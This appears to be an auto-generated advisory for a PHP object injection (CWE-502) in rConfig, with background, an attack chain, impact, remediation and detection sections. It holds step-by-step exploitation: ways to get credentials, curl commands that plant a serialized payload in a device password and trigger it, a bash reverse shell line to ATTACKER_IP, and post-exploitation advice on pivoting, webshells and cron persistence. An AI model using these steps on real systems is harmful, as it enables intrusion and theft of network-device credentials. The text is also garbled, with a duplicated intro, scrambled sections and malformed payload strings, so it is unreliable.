CVE-2026-135692 — RConfig Core (8.2.17) — CWE-502
rConfig Core 8.0.0 before 8.2.17 and rConfig Pro before 8.4.0 contain a PHP object injection vulnerability in app/Casts/EncryptStringCast.php that unserializes decrypted attributes without class restrictions. Authenticated attackers can store a serialized gadget chain in encrypted fields like device passwords, triggering command execution as the web server user when read via GET /api/devices.
rConfig Core 8.0.0 before 8.2.17 and rConfig Pro before 8.4.0 contain a PHP object injection vulnerability in app/Casts/EncryptStringCast.php that unserializes decrypted attributes without class restrictions. Authenticated attackers can store a serialized gadget chain in encrypted fields like device passwords, triggering command execution as the web server user when read via GET /api/devices.
🎯 What is this vulnerability?
This vulnerability is a PHP Object Injection flaw (CWE-502) located in the EncryptStringCast.php file within the rConfig application.
Technical Mechanism:
In Laravel-based applications (which rConfig utilizes), "Casts" are used to automatically convert database attributes into specific PHP types or objects when retrieved. The EncryptStringCast is designed to decrypt string attributes (such as device passwords or API keys) stored in the database.
The flaw lies in the decryption and deserialization logic. When the application retrieves an encrypted field (e.g., a device password), it decrypts the string. However, the code subsequently passes this decrypted string to PHP's unserialize() function without validating the class name or using a safe allowed_classes parameter.
Because unserialize() is called on user-controlled data (stored in the database), an attacker who can write to these fields can inject a serialized PHP object chain (gadget chain). When the application later reads this field (triggered by a GET request to /api/devices), PHP attempts to reconstruct the object, executing the __wakeup(), __destruct(), or __toString() magic methods defined in the gadget chain, leading to Remote Code Execution (RCE).
Why it is Critical:
- Authenticated Access Only: Requires low-level privileges (PR:L).
- No User Interaction: The victim (web server) executes the code automatically upon data retrieval.
- High Impact: Full compromise of the web server process (VC:H, VI:H, VA:H).
- Fingerprinting: Identify the target as running rConfig. Check the footer, login page, or API endpoints for version hints.
- Version Verification: Confirm the version is
rConfig Core < 8.2.17orrConfig Pro < 8.4.0. - Credential Acquisition: Obtain valid low-privilege credentials (e.g., a standard user with permission to view devices or edit device details). This can be achieved via: * Credential stuffing. * Social engineering. * Other vulnerabilities in the same environment.
Illuminate\Process\InvokedProcess(if__destructtriggers execution).- Custom rConfig classes that handle command execution.
⚡ Attack Chain
1. Discovery & Reconnaissance
2. Exploitation
The attacker must inject a serialized PHP object into an encrypted field. The most common target is thepassword field of a device, as it is typically encrypted and retrieved when listing devices.Step 2a: Identify a Gadget Chain
The attacker must find a class in the rConfig/Laravel environment that has a dangerous magic method (e.g., __destruct calling exec(), system(), or shell_exec()). Common Laravel gadgets include:
Note: The exact gadget chain depends on the specific libraries included in rConfig 8.x. A common pattern in Laravel apps is using
Illuminate\Support\LazyCollection or similar if they have unsafe destructors, but typically, RCE gadgets are found in Illuminate\Process or custom application code.*Step 2b: Craft the Payload
Assume a hypothetical gadget chain where EvilClass::__destruct() executes system($this->cmd).
<?php
// Hypothetical Gadget Chain Example
class EvilClass {
public $cmd;
public function __destruct() {
system($this->cmd);
}
}
$payload = "s:10:\"EvilClass\";O:9:\"EvilClass\":1:{s:3:\"cmd\";s:12:\"id > /tmp/pwned\";}";
// Note: In reality, the attacker must serialize a valid object from the application's namespace.
?>Step 2c: Inject the Payload
The attacker uses the authenticated API to update a device's password field with the serialized payload. Since the field is encrypted, the application will encrypt the serialized string before storing it in the database.
Illustrative PoC (curl):
Note: The exact API endpoint for updating a device password may vary. The following is an illustrative example based on standard RESTful patterns for rConfig.
# 1. Authenticate and obtain a JWT or Session Cookie
curl -X POST "https://target-rconfig.example.com/api/login" \
-H "Content-Type: application/json" \
-d '{"username": "attacker_user", "password": "AttackerPass123"}' \
-c cookies.txt
# 2. Update a device's password field with the serialized payload
# Assume device ID 123 has an encrypted 'password' field
# The payload is the serialized PHP object string
PAYLOAD='O:9:"EvilClass":1:{s:3:"cmd";s:12:"id > /tmp/pwned";}'
curl -X PUT "https://target-rconfig.example.com/api/devices/123" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <TOKEN_FROM_LOGIN>" \
-b cookies.txt \
-d "{
\"password\": \"$PAYLOAD\"
}"Step 2d: Trigger Execution
The attacker triggers the retrieval of the device data. The application decrypts the field, unserializes the payload, and executes the command.
# Trigger the vulnerability by fetching the device list
curl -X GET "https://target-rconfig.example.com/api/devices" \
-H "Authorization: Bearer <TOKEN_FROM_LOGIN>" \
-b cookies.txt3. Post-Exploitation
cat /tmp/pwned if accessible, or use a reverse shell).cmd in the payload with a reverse shell command:s:3:"cmd";s:50:"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1";www-data or apache) is compromised. The attacker can:.env file containing database credentials, API keys).
* Pivot to the internal network using the compromised host.
* Install a persistent webshell or cron job.🌍 Real World Impact
CVSS 4.0 Vector Analysis:
Practical Consequences:
1. Data Breach: The web server user has access to the rConfig database, which contains credentials for all managed devices (routers, switches, firewalls). This allows lateral movement into the entire network infrastructure.
2. Network Compromise: With access to device credentials, the attacker can reconfigure network devices, create backdoors, or disrupt services.
3. Ransomware/Extortion: The attacker can encrypt or delete configuration backups, demanding ransom for restoration.
4. Supply Chain Risk: rConfig is often used to manage critical infrastructure. Compromise of rConfig can lead to compromise of the entire IT environment.
🛡️ Remediation & Mitigation
1. Patching (Primary Solution)
2. Workarounds (If Patching is Delayed)
/api/devices endpoint to trusted IP addresses only using firewall rules (e.g., iptables, AWS Security Groups).password field of device update requests.3. Detection (IoCs)
PUT or PATCH requests to /api/devices/{id} with a password field containing serialized PHP object signatures (e.g., O:, s:, a:).# Example grep for Apache/Nginx access logs
grep -E "PUT /api/devices/.*password.*O:" access.logdevices table where the password column contains long, non-standard strings that do not match typical password patterns./tmp/pwned, webshells like shell.php).www-data) executing shell commands (bash, sh, curl, wget).⚠️ Urgency
Priority: CRITICAL
FOFA Query